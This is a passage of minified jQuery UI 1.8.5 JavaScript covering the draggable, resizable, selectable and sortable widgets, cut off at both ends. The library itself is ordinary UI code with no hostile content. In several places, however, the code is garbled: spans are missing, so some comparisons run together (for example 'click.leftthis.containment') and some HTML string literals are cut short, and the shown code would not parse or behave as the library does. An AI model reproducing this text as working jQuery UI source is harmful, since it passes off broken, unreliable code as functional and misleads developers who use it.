false},_mouseStop:function(a){var b=false;if(d.ui.ddmanager&&!this.options.dropBehaviour)b=d.ui.ddmanager.drop(this,a);if(this.dropped){b=this.dropped;this.dropped=false}if(!this.element[0]||!this.element[0].parentNode)return false;if(this.options.revert=="invalid"&&!b||this.options.revert=="valid"&&b||this.options.revert===true||d.isFunction(this.options.revert)&&this.options.revert.call(this.element, +b)){var c=this;d(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){c._trigger("stop",a)!==false&&c._clear()})}else this._trigger("stop",a)!==false&&this._clear();return false},cancel:function(){this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear();return this},_getHandle:function(a){var b=!this.options.handle||!d(this.options.handle,this.element).length?true:false;d(this.options.handle,this.element).find("*").andSelf().each(function(){if(this== +a.target)b=true});return b},_createHelper:function(a){var b=this.options;a=d.isFunction(b.helper)?d(b.helper.apply(this.element[0],[a])):b.helper=="clone"?this.element.clone():this.element;a.parents("body").length||a.appendTo(b.appendTo=="parent"?this.element[0].parentNode:b.appendTo);a[0]!=this.element[0]&&!/(fixed|absolute)/.test(a.css("position"))&&a.css("position","absolute");return a},_adjustOffsetFromHelper:function(a){if(typeof a=="string")a=a.split(" ");if(d.isArray(a))a={left:+a[0],top:+a[1]|| +0};if("left"in a)this.offset.click.left=a.left+this.margins.left;if("right"in a)this.offset.click.left=this.helperProportions.width-a.right+this.margins.left;if("top"in a)this.offset.click.top=a.top+this.margins.top;if("bottom"in a)this.offset.click.top=this.helperProportions.height-a.bottom+this.margins.top},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var a=this.offsetParent.offset();if(this.cssPosition=="absolute"&&this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], +this.offsetParent[0])){a.left+=this.scrollParent.scrollLeft();a.top+=this.scrollParent.scrollTop()}if(this.offsetParent[0]==document.body||this.offsetParent[0].tagName&&this.offsetParent[0].tagName.toLowerCase()=="html"&&d.browser.msie)a={top:0,left:0};return{top:a.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:a.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if(this.cssPosition=="relative"){var a=this.element.position();return{top:a.top- +(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:a.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}else return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var a=this.options;if(a.containment== +"parent")a.containment=this.helper[0].parentNode;if(a.containment=="document"||a.containment=="window")this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,d(a.containment=="document"?document:window).width()-this.helperProportions.width-this.margins.left,(d(a.containment=="document"?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top];if(!/^(document|window|parent)$/.test(a.containment)&& +a.containment.constructor!=Array){var b=d(a.containment)[0];if(b){a=d(a.containment).offset();var c=d(b).css("overflow")!="hidden";this.containment=[a.left+(parseInt(d(b).css("borderLeftWidth"),10)||0)+(parseInt(d(b).css("paddingLeft"),10)||0)-this.margins.left,a.top+(parseInt(d(b).css("borderTopWidth"),10)||0)+(parseInt(d(b).css("paddingTop"),10)||0)-this.margins.top,a.left+(c?Math.max(b.scrollWidth,b.offsetWidth):b.offsetWidth)-(parseInt(d(b).css("borderLeftWidth"),10)||0)-(parseInt(d(b).css("paddingRight"), +10)||0)-this.helperProportions.width-this.margins.left,a.top+(c?Math.max(b.scrollHeight,b.offsetHeight):b.offsetHeight)-(parseInt(d(b).css("borderTopWidth"),10)||0)-(parseInt(d(b).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}}else if(a.containment.constructor==Array)this.containment=a.containment},_convertPositionTo:function(a,b){if(!b)b=this.position;a=a=="absolute"?1:-1;var c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0], +this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName);return{top:b.top+this.offset.relative.top*a+this.offset.parent.top*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollTop():f?0:c.scrollTop())*a),left:b.left+this.offset.relative.left*a+this.offset.parent.left*a-(d.browser.safari&&d.browser.version<526&&this.cssPosition=="fixed"?0:(this.cssPosition=="fixed"?-this.scrollParent.scrollLeft(): +f?0:c.scrollLeft())*a)}},_generatePosition:function(a){var b=this.options,c=this.cssPosition=="absolute"&&!(this.scrollParent[0]!=document&&d.ui.contains(this.scrollParent[0],this.offsetParent[0]))?this.offsetParent:this.scrollParent,f=/(html|body)/i.test(c[0].tagName),e=a.pageX,g=a.pageY;if(this.originalPosition){if(this.containment){if(a.pageX-this.offset.click.leftthis.containment[2])e=this.containment[2]+this.offset.click.left;if(a.pageY-this.offset.click.top>this.containment[3])g=this.containment[3]+this.offset.click.top}if(b.grid){g=this.originalPageY+Math.round((g-this.originalPageY)/b.grid[1])*b.grid[1];g=this.containment?!(g-this.offset.click.topthis.containment[3])?g:!(g-this.offset.click.topthis.containment[2])?e:!(e-this.offset.click.left').css({width:this.offsetWidth+"px",height:this.offsetHeight+"px",position:"absolute",opacity:"0.001",zIndex:1E3}).css(d(this).offset()).appendTo("body")})},stop:function(){d("div.ui-draggable-iframeFix").each(function(){this.parentNode.removeChild(this)})}});d.ui.plugin.add("draggable","opacity",{start:function(a,b){a=d(b.helper);b=d(this).data("draggable").options; +if(a.css("opacity"))b._opacity=a.css("opacity");a.css("opacity",b.opacity)},stop:function(a,b){a=d(this).data("draggable").options;a._opacity&&d(b.helper).css("opacity",a._opacity)}});d.ui.plugin.add("draggable","scroll",{start:function(){var a=d(this).data("draggable");if(a.scrollParent[0]!=document&&a.scrollParent[0].tagName!="HTML")a.overflowOffset=a.scrollParent.offset()},drag:function(a){var b=d(this).data("draggable"),c=b.options,f=false;if(b.scrollParent[0]!=document&&b.scrollParent[0].tagName!= +"HTML"){if(!c.axis||c.axis!="x")if(b.overflowOffset.top+b.scrollParent[0].offsetHeight-a.pageY=0;h--){var i=c.snapElements[h].left,k=i+c.snapElements[h].width,j=c.snapElements[h].top,l=j+c.snapElements[h].height;if(i-e=j&&f<=l||h>=j&&h<=l||fl)&&(e>= +i&&e<=k||g>=i&&g<=k||ek);default:return false}};d.ui.ddmanager={current:null,droppables:{"default":[]},prepareOffsets:function(a,b){var c=d.ui.ddmanager.droppables[a.options.scope]||[],e=b?b.type:null,g=(a.currentItem||a.element).find(":data(droppable)").andSelf(),f=0;a:for(;f').css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(), +top:this.element.css("top"),left:this.element.css("left")}));this.element=this.element.parent().data("resizable",this.element.data("resizable"));this.elementIsWrapper=true;this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")});this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0});this.originalResizeStyle= +this.originalElement.css("resize");this.originalElement.css("resize","none");this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"}));this.originalElement.css({margin:this.originalElement.css("margin")});this._proportionallyResize()}this.handles=a.handles||(!e(".ui-resizable-handle",this.element).length?"e,s,se":{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne", +nw:".ui-resizable-nw"});if(this.handles.constructor==String){if(this.handles=="all")this.handles="n,e,s,w,se,sw,ne,nw";var c=this.handles.split(",");this.handles={};for(var d=0;d');/sw|se|ne|nw/.test(f)&&g.css({zIndex:++a.zIndex});"se"==f&&g.addClass("ui-icon ui-icon-gripsmall-diagonal-se");this.handles[f]=".ui-resizable-"+f;this.element.append(g)}}this._renderAxis=function(h){h=h||this.element;for(var i in this.handles){if(this.handles[i].constructor== +String)this.handles[i]=e(this.handles[i],this.element).show();if(this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)){var j=e(this.handles[i],this.element),k=0;k=/sw|ne|nw|se|n|s/.test(i)?j.outerHeight():j.outerWidth();j=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join("");h.css(j,k);this._proportionallyResize()}e(this.handles[i])}};this._renderAxis(this.element);this._handles=e(".ui-resizable-handle",this.element).disableSelection(); +this._handles.mouseover(function(){if(!b.resizing){if(this.className)var h=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i);b.axis=h&&h[1]?h[1]:"se"}});if(a.autoHide){this._handles.hide();e(this.element).addClass("ui-resizable-autohide").hover(function(){e(this).removeClass("ui-resizable-autohide");b._handles.show()},function(){if(!b.resizing){e(this).addClass("ui-resizable-autohide");b._handles.hide()}})}this._mouseInit()},destroy:function(){this._mouseDestroy();var b=function(c){e(c).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").unbind(".resizable").find(".ui-resizable-handle").remove()}; +if(this.elementIsWrapper){b(this.element);var a=this.element;a.after(this.originalElement.css({position:a.css("position"),width:a.outerWidth(),height:a.outerHeight(),top:a.css("top"),left:a.css("left")})).remove()}this.originalElement.css("resize",this.originalResizeStyle);b(this.originalElement);return this},_mouseCapture:function(b){var a=false;for(var c in this.handles)if(e(this.handles[c])[0]==b.target)a=true;return!this.options.disabled&&a},_mouseStart:function(b){var a=this.options,c=this.element.position(), +d=this.element;this.resizing=true;this.documentScroll={top:e(document).scrollTop(),left:e(document).scrollLeft()};if(d.is(".ui-draggable")||/absolute/.test(d.css("position")))d.css({position:"absolute",top:c.top,left:c.left});e.browser.opera&&/relative/.test(d.css("position"))&&d.css({position:"relative",top:"auto",left:"auto"});this._renderProxy();c=m(this.helper.css("left"));var f=m(this.helper.css("top"));if(a.containment){c+=e(a.containment).scrollLeft()||0;f+=e(a.containment).scrollTop()||0}this.offset= +this.helper.offset();this.position={left:c,top:f};this.size=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalSize=this._helper?{width:d.outerWidth(),height:d.outerHeight()}:{width:d.width(),height:d.height()};this.originalPosition={left:c,top:f};this.sizeDiff={width:d.outerWidth()-d.width(),height:d.outerHeight()-d.height()};this.originalMousePosition={left:b.pageX,top:b.pageY};this.aspectRatio=typeof a.aspectRatio=="number"?a.aspectRatio: +this.originalSize.width/this.originalSize.height||1;a=e(".ui-resizable-"+this.axis).css("cursor");e("body").css("cursor",a=="auto"?this.axis+"-resize":a);d.addClass("ui-resizable-resizing");this._propagate("start",b);return true},_mouseDrag:function(b){var a=this.helper,c=this.originalMousePosition,d=this._change[this.axis];if(!d)return false;c=d.apply(this,[b,b.pageX-c.left||0,b.pageY-c.top||0]);if(this._aspectRatio||b.shiftKey)c=this._updateRatio(c,b);c=this._respectSize(c,b);this._propagate("resize", +b);a.css({top:this.position.top+"px",left:this.position.left+"px",width:this.size.width+"px",height:this.size.height+"px"});!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize();this._updateCache(c);this._trigger("resize",b,this.ui());return false},_mouseStop:function(b){this.resizing=false;var a=this.options,c=this;if(this._helper){var d=this._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName);d=f&&e.ui.hasScroll(d[0],"left")?0:c.sizeDiff.height; +f={width:c.size.width-(f?0:c.sizeDiff.width),height:c.size.height-d};d=parseInt(c.element.css("left"),10)+(c.position.left-c.originalPosition.left)||null;var g=parseInt(c.element.css("top"),10)+(c.position.top-c.originalPosition.top)||null;a.animate||this.element.css(e.extend(f,{top:g,left:d}));c.helper.height(c.size.height);c.helper.width(c.size.width);this._helper&&!a.animate&&this._proportionallyResize()}e("body").css("cursor","auto");this.element.removeClass("ui-resizable-resizing");this._propagate("stop", +b);this._helper&&this.helper.remove();return false},_updateCache:function(b){this.offset=this.helper.offset();if(l(b.left))this.position.left=b.left;if(l(b.top))this.position.top=b.top;if(l(b.height))this.size.height=b.height;if(l(b.width))this.size.width=b.width},_updateRatio:function(b){var a=this.position,c=this.size,d=this.axis;if(b.height)b.width=c.height*this.aspectRatio;else if(b.width)b.height=c.width/this.aspectRatio;if(d=="sw"){b.left=a.left+(c.width-b.width);b.top=null}if(d=="nw"){b.top= +a.top+(c.height-b.height);b.left=a.left+(c.width-b.width)}return b},_respectSize:function(b){var a=this.options,c=this.axis,d=l(b.width)&&a.maxWidth&&a.maxWidthb.width,h=l(b.height)&&a.minHeight&&a.minHeight>b.height;if(g)b.width=a.minWidth;if(h)b.height=a.minHeight;if(d)b.width=a.maxWidth;if(f)b.height=a.maxHeight;var i=this.originalPosition.left+this.originalSize.width,j=this.position.top+this.size.height, +k=/sw|nw|w/.test(c);c=/nw|ne|n/.test(c);if(g&&k)b.left=i-a.minWidth;if(d&&k)b.left=i-a.maxWidth;if(h&&c)b.top=j-a.minHeight;if(f&&c)b.top=j-a.maxHeight;if((a=!b.width&&!b.height)&&!b.left&&b.top)b.top=null;else if(a&&!b.top&&b.left)b.left=null;return b},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var b=this.helper||this.element,a=0;a');var a=e.browser.msie&&e.browser.version<7,c=a?1:0;a=a?2:-1;this.helper.addClass(this._helper).css({width:this.element.outerWidth()+a,height:this.element.outerHeight()+a,position:"absolute",left:this.elementOffset.left-c+"px",top:this.elementOffset.top-c+"px",zIndex:++b.zIndex});this.helper.appendTo("body").disableSelection()}else this.helper=this.element},_change:{e:function(b,a){return{width:this.originalSize.width+ +a}},w:function(b,a){return{left:this.originalPosition.left+a,width:this.originalSize.width-a}},n:function(b,a,c){return{top:this.originalPosition.top+c,height:this.originalSize.height-c}},s:function(b,a,c){return{height:this.originalSize.height+c}},se:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[b,a,c]))},sw:function(b,a,c){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[b,a,c]))},ne:function(b,a,c){return e.extend(this._change.n.apply(this, +arguments),this._change.e.apply(this,[b,a,c]))},nw:function(b,a,c){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[b,a,c]))}},_propagate:function(b,a){e.ui.plugin.call(this,b,[a,this.ui()]);b!="resize"&&this._trigger(b,a,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}});e.extend(e.ui.resizable, +{version:"1.8.5"});e.ui.plugin.add("resizable","alsoResize",{start:function(){var b=e(this).data("resizable").options,a=function(c){e(c).each(function(){var d=e(this);d.data("resizable-alsoresize",{width:parseInt(d.width(),10),height:parseInt(d.height(),10),left:parseInt(d.css("left"),10),top:parseInt(d.css("top"),10),position:d.css("position")})})};if(typeof b.alsoResize=="object"&&!b.alsoResize.parentNode)if(b.alsoResize.length){b.alsoResize=b.alsoResize[0];a(b.alsoResize)}else e.each(b.alsoResize, +function(c){a(c)});else a(b.alsoResize)},resize:function(b,a){var c=e(this).data("resizable");b=c.options;var d=c.originalSize,f=c.originalPosition,g={height:c.size.height-d.height||0,width:c.size.width-d.width||0,top:c.position.top-f.top||0,left:c.position.left-f.left||0},h=function(i,j){e(i).each(function(){var k=e(this),q=e(this).data("resizable-alsoresize"),p={},r=j&&j.length?j:k.parents(a.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(r,function(n,o){if((n= +(q[o]||0)+(g[o]||0))&&n>=0)p[o]=n||null});if(e.browser.opera&&/relative/.test(k.css("position"))){c._revertToRelativePosition=true;k.css({position:"absolute",top:"auto",left:"auto"})}k.css(p)})};typeof b.alsoResize=="object"&&!b.alsoResize.nodeType?e.each(b.alsoResize,function(i,j){h(i,j)}):h(b.alsoResize)},stop:function(){var b=e(this).data("resizable"),a=b.options,c=function(d){e(d).each(function(){var f=e(this);f.css({position:f.data("resizable-alsoresize").position})})};if(b._revertToRelativePosition){b._revertToRelativePosition= +false;typeof a.alsoResize=="object"&&!a.alsoResize.nodeType?e.each(a.alsoResize,function(d){c(d)}):c(a.alsoResize)}e(this).removeData("resizable-alsoresize")}});e.ui.plugin.add("resizable","animate",{stop:function(b){var a=e(this).data("resizable"),c=a.options,d=a._proportionallyResizeElements,f=d.length&&/textarea/i.test(d[0].nodeName),g=f&&e.ui.hasScroll(d[0],"left")?0:a.sizeDiff.height;f={width:a.size.width-(f?0:a.sizeDiff.width),height:a.size.height-g};g=parseInt(a.element.css("left"),10)+(a.position.left- +a.originalPosition.left)||null;var h=parseInt(a.element.css("top"),10)+(a.position.top-a.originalPosition.top)||null;a.element.animate(e.extend(f,h&&g?{top:h,left:g}:{}),{duration:c.animateDuration,easing:c.animateEasing,step:function(){var i={width:parseInt(a.element.css("width"),10),height:parseInt(a.element.css("height"),10),top:parseInt(a.element.css("top"),10),left:parseInt(a.element.css("left"),10)};d&&d.length&&e(d[0]).css({width:i.width,height:i.height});a._updateCache(i);a._propagate("resize", +b)}})}});e.ui.plugin.add("resizable","containment",{start:function(){var b=e(this).data("resizable"),a=b.element,c=b.options.containment;if(a=c instanceof e?c.get(0):/parent/.test(c)?a.parent().get(0):c){b.containerElement=e(a);if(/document/.test(c)||c==document){b.containerOffset={left:0,top:0};b.containerPosition={left:0,top:0};b.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}}else{var d=e(a),f=[];e(["Top", +"Right","Left","Bottom"]).each(function(i,j){f[i]=m(d.css("padding"+j))});b.containerOffset=d.offset();b.containerPosition=d.position();b.containerSize={height:d.innerHeight()-f[3],width:d.innerWidth()-f[1]};c=b.containerOffset;var g=b.containerSize.height,h=b.containerSize.width;h=e.ui.hasScroll(a,"left")?a.scrollWidth:h;g=e.ui.hasScroll(a)?a.scrollHeight:g;b.parentData={element:a,left:c.left,top:c.top,width:h,height:g}}}},resize:function(b){var a=e(this).data("resizable"),c=a.options,d=a.containerOffset, +f=a.position;b=a._aspectRatio||b.shiftKey;var g={top:0,left:0},h=a.containerElement;if(h[0]!=document&&/static/.test(h.css("position")))g=d;if(f.left<(a._helper?d.left:0)){a.size.width+=a._helper?a.position.left-d.left:a.position.left-g.left;if(b)a.size.height=a.size.width/c.aspectRatio;a.position.left=c.helper?d.left:0}if(f.top<(a._helper?d.top:0)){a.size.height+=a._helper?a.position.top-d.top:a.position.top;if(b)a.size.width=a.size.height*c.aspectRatio;a.position.top=a._helper?d.top:0}a.offset.left= +a.parentData.left+a.position.left;a.offset.top=a.parentData.top+a.position.top;c=Math.abs((a._helper?a.offset.left-g.left:a.offset.left-g.left)+a.sizeDiff.width);d=Math.abs((a._helper?a.offset.top-g.top:a.offset.top-d.top)+a.sizeDiff.height);f=a.containerElement.get(0)==a.element.parent().get(0);g=/relative|absolute/.test(a.containerElement.css("position"));if(f&&g)c-=a.parentData.left;if(c+a.size.width>=a.parentData.width){a.size.width=a.parentData.width-c;if(b)a.size.height=a.size.width/a.aspectRatio}if(d+ +a.size.height>=a.parentData.height){a.size.height=a.parentData.height-d;if(b)a.size.width=a.size.height*a.aspectRatio}},stop:function(){var b=e(this).data("resizable"),a=b.options,c=b.containerOffset,d=b.containerPosition,f=b.containerElement,g=e(b.helper),h=g.offset(),i=g.outerWidth()-b.sizeDiff.width;g=g.outerHeight()-b.sizeDiff.height;b._helper&&!a.animate&&/relative/.test(f.css("position"))&&e(this).css({left:h.left-d.left-c.left,width:i,height:g});b._helper&&!a.animate&&/static/.test(f.css("position"))&& +e(this).css({left:h.left-d.left-c.left,width:i,height:g})}});e.ui.plugin.add("resizable","ghost",{start:function(){var b=e(this).data("resizable"),a=b.options,c=b.size;b.ghost=b.originalElement.clone();b.ghost.css({opacity:0.25,display:"block",position:"relative",height:c.height,width:c.width,margin:0,left:0,top:0}).addClass("ui-resizable-ghost").addClass(typeof a.ghost=="string"?a.ghost:"");b.ghost.appendTo(b.helper)},resize:function(){var b=e(this).data("resizable");b.ghost&&b.ghost.css({position:"relative", +height:b.size.height,width:b.size.width})},stop:function(){var b=e(this).data("resizable");b.ghost&&b.helper&&b.helper.get(0).removeChild(b.ghost.get(0))}});e.ui.plugin.add("resizable","grid",{resize:function(){var b=e(this).data("resizable"),a=b.options,c=b.size,d=b.originalSize,f=b.originalPosition,g=b.axis;a.grid=typeof a.grid=="number"?[a.grid,a.grid]:a.grid;var h=Math.round((c.width-d.width)/(a.grid[0]||1))*(a.grid[0]||1);a=Math.round((c.height-d.height)/(a.grid[1]||1))*(a.grid[1]||1);if(/^(se|s|e)$/.test(g)){b.size.width= +d.width+h;b.size.height=d.height+a}else if(/^(ne)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}else{if(/^(sw)$/.test(g)){b.size.width=d.width+h;b.size.height=d.height+a}else{b.size.width=d.width+h;b.size.height=d.height+a;b.position.top=f.top-a}b.position.left=f.left-h}}});var m=function(b){return parseInt(b,10)||0},l=function(b){return!isNaN(parseInt(b,10))}})(jQuery); +;/* + * jQuery UI Selectable 1.8.5 + * + * Copyright 2010, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Selectables + * + * Depends: + * jquery.ui.core.js + * jquery.ui.mouse.js + * jquery.ui.widget.js + */ +(function(e){e.widget("ui.selectable",e.ui.mouse,{options:{appendTo:"body",autoRefresh:true,distance:0,filter:"*",tolerance:"touch"},_create:function(){var c=this;this.element.addClass("ui-selectable");this.dragged=false;var f;this.refresh=function(){f=e(c.options.filter,c.element[0]);f.each(function(){var d=e(this),b=d.offset();e.data(this,"selectable-item",{element:this,$element:d,left:b.left,top:b.top,right:b.left+d.outerWidth(),bottom:b.top+d.outerHeight(),startselected:false,selected:d.hasClass("ui-selected"), +selecting:d.hasClass("ui-selecting"),unselecting:d.hasClass("ui-unselecting")})})};this.refresh();this.selectees=f.addClass("ui-selectee");this._mouseInit();this.helper=e("
")},destroy:function(){this.selectees.removeClass("ui-selectee").removeData("selectable-item");this.element.removeClass("ui-selectable ui-selectable-disabled").removeData("selectable").unbind(".selectable");this._mouseDestroy();return this},_mouseStart:function(c){var f=this;this.opos=[c.pageX, +c.pageY];if(!this.options.disabled){var d=this.options;this.selectees=e(d.filter,this.element[0]);this._trigger("start",c);e(d.appendTo).append(this.helper);this.helper.css({left:c.clientX,top:c.clientY,width:0,height:0});d.autoRefresh&&this.refresh();this.selectees.filter(".ui-selected").each(function(){var b=e.data(this,"selectable-item");b.startselected=true;if(!c.metaKey){b.$element.removeClass("ui-selected");b.selected=false;b.$element.addClass("ui-unselecting");b.unselecting=true;f._trigger("unselecting", +c,{unselecting:b.element})}});e(c.target).parents().andSelf().each(function(){var b=e.data(this,"selectable-item");if(b){var g=!c.metaKey||!b.$element.hasClass("ui-selected");b.$element.removeClass(g?"ui-unselecting":"ui-selected").addClass(g?"ui-selecting":"ui-unselecting");b.unselecting=!g;b.selecting=g;(b.selected=g)?f._trigger("selecting",c,{selecting:b.element}):f._trigger("unselecting",c,{unselecting:b.element});return false}})}},_mouseDrag:function(c){var f=this;this.dragged=true;if(!this.options.disabled){var d= +this.options,b=this.opos[0],g=this.opos[1],h=c.pageX,i=c.pageY;if(b>h){var j=h;h=b;b=j}if(g>i){j=i;i=g;g=j}this.helper.css({left:b,top:g,width:h-b,height:i-g});this.selectees.each(function(){var a=e.data(this,"selectable-item");if(!(!a||a.element==f.element[0])){var k=false;if(d.tolerance=="touch")k=!(a.left>h||a.righti||a.bottomb&&a.rightg&&a.bottom *",opacity:false,placeholder:false,revert:false,scroll:true,scrollSensitivity:20,scrollSpeed:20,scope:"default",tolerance:"intersect",zIndex:1E3},_create:function(){this.containerCache={};this.element.addClass("ui-sortable"); +this.refresh();this.floating=this.items.length?/left|right/.test(this.items[0].item.css("float")):false;this.offset=this.element.offset();this._mouseInit()},destroy:function(){this.element.removeClass("ui-sortable ui-sortable-disabled").removeData("sortable").unbind(".sortable");this._mouseDestroy();for(var a=this.items.length-1;a>=0;a--)this.items[a].item.removeData("sortable-item");return this},_setOption:function(a,b){if(a==="disabled"){this.options[a]=b;this.widget()[b?"addClass":"removeClass"]("ui-sortable-disabled")}else d.Widget.prototype._setOption.apply(this, +arguments)},_mouseCapture:function(a,b){if(this.reverting)return false;if(this.options.disabled||this.options.type=="static")return false;this._refreshItems(a);var c=null,e=this;d(a.target).parents().each(function(){if(d.data(this,"sortable-item")==e){c=d(this);return false}});if(d.data(a.target,"sortable-item")==e)c=d(a.target);if(!c)return false;if(this.options.handle&&!b){var f=false;d(this.options.handle,c).find("*").andSelf().each(function(){if(this==a.target)f=true});if(!f)return false}this.currentItem= +c;this._removeCurrentsFromItems();return true},_mouseStart:function(a,b,c){b=this.options;var e=this;this.currentContainer=this;this.refreshPositions();this.helper=this._createHelper(a);this._cacheHelperProportions();this._cacheMargins();this.scrollParent=this.helper.scrollParent();this.offset=this.currentItem.offset();this.offset={top:this.offset.top-this.margins.top,left:this.offset.left-this.margins.left};this.helper.css("position","absolute");this.cssPosition=this.helper.css("position");d.extend(this.offset, +{click:{left:a.pageX-this.offset.left,top:a.pageY-this.offset.top},parent:this._getParentOffset(),relative:this._getRelativeOffset()});this.originalPosition=this._generatePosition(a);this.originalPageX=a.pageX;this.originalPageY=a.pageY;b.cursorAt&&this._adjustOffsetFromHelper(b.cursorAt);this.domPosition={prev:this.currentItem.prev()[0],parent:this.currentItem.parent()[0]};this.helper[0]!=this.currentItem[0]&&this.currentItem.hide();this._createPlaceholder();b.containment&&this._setContainment(); +if(b.cursor){if(d("body").css("cursor"))this._storedCursor=d("body").css("cursor");d("body").css("cursor",b.cursor)}if(b.opacity){if(this.helper.css("opacity"))this._storedOpacity=this.helper.css("opacity");this.helper.css("opacity",b.opacity)}if(b.zIndex){if(this.helper.css("zIndex"))this._storedZIndex=this.helper.css("zIndex");this.helper.css("zIndex",b.zIndex)}if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML")this.overflowOffset=this.scrollParent.offset();this._trigger("start", +a,this._uiHash());this._preserveHelperProportions||this._cacheHelperProportions();if(!c)for(c=this.containers.length-1;c>=0;c--)this.containers[c]._trigger("activate",a,e._uiHash(this));if(d.ui.ddmanager)d.ui.ddmanager.current=this;d.ui.ddmanager&&!b.dropBehaviour&&d.ui.ddmanager.prepareOffsets(this,a);this.dragging=true;this.helper.addClass("ui-sortable-helper");this._mouseDrag(a);return true},_mouseDrag:function(a){this.position=this._generatePosition(a);this.positionAbs=this._convertPositionTo("absolute"); +if(!this.lastPositionAbs)this.lastPositionAbs=this.positionAbs;if(this.options.scroll){var b=this.options,c=false;if(this.scrollParent[0]!=document&&this.scrollParent[0].tagName!="HTML"){if(this.overflowOffset.top+this.scrollParent[0].offsetHeight-a.pageY=0;b--){c=this.items[b];var e=c.item[0],f=this._intersectsWithPointer(c);if(f)if(e!=this.currentItem[0]&&this.placeholder[f==1?"next":"prev"]()[0]!=e&&!d.ui.contains(this.placeholder[0],e)&&(this.options.type=="semi-dynamic"?!d.ui.contains(this.element[0],e):true)){this.direction=f==1?"down":"up";if(this.options.tolerance=="pointer"||this._intersectsWithSides(c))this._rearrange(a, +c);else break;this._trigger("change",a,this._uiHash());break}}this._contactContainers(a);d.ui.ddmanager&&d.ui.ddmanager.drag(this,a);this._trigger("sort",a,this._uiHash());this.lastPositionAbs=this.positionAbs;return false},_mouseStop:function(a,b){if(a){d.ui.ddmanager&&!this.options.dropBehaviour&&d.ui.ddmanager.drop(this,a);if(this.options.revert){var c=this;b=c.placeholder.offset();c.reverting=true;d(this.helper).animate({left:b.left-this.offset.parent.left-c.margins.left+(this.offsetParent[0]== +document.body?0:this.offsetParent[0].scrollLeft),top:b.top-this.offset.parent.top-c.margins.top+(this.offsetParent[0]==document.body?0:this.offsetParent[0].scrollTop)},parseInt(this.options.revert,10)||500,function(){c._clear(a)})}else this._clear(a,b);return false}},cancel:function(){var a=this;if(this.dragging){this._mouseUp();this.options.helper=="original"?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var b=this.containers.length-1;b>=0;b--){this.containers[b]._trigger("deactivate", +null,a._uiHash(this));if(this.containers[b].containerCache.over){this.containers[b]._trigger("out",null,a._uiHash(this));this.containers[b].containerCache.over=0}}}this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]);this.options.helper!="original"&&this.helper&&this.helper[0].parentNode&&this.helper.remove();d.extend(this,{helper:null,dragging:false,reverting:false,_noFinalSort:null});this.domPosition.prev?d(this.domPosition.prev).after(this.currentItem): +d(this.domPosition.parent).prepend(this.currentItem);return this},serialize:function(a){var b=this._getItemsAsjQuery(a&&a.connected),c=[];a=a||{};d(b).each(function(){var e=(d(a.item||this).attr(a.attribute||"id")||"").match(a.expression||/(.+)[-=_](.+)/);if(e)c.push((a.key||e[1]+"[]")+"="+(a.key&&a.expression?e[1]:e[2]))});!c.length&&a.key&&c.push(a.key+"=");return c.join("&")},toArray:function(a){var b=this._getItemsAsjQuery(a&&a.connected),c=[];a=a||{};b.each(function(){c.push(d(a.item||this).attr(a.attribute|| +"id")||"")});return c},_intersectsWith:function(a){var 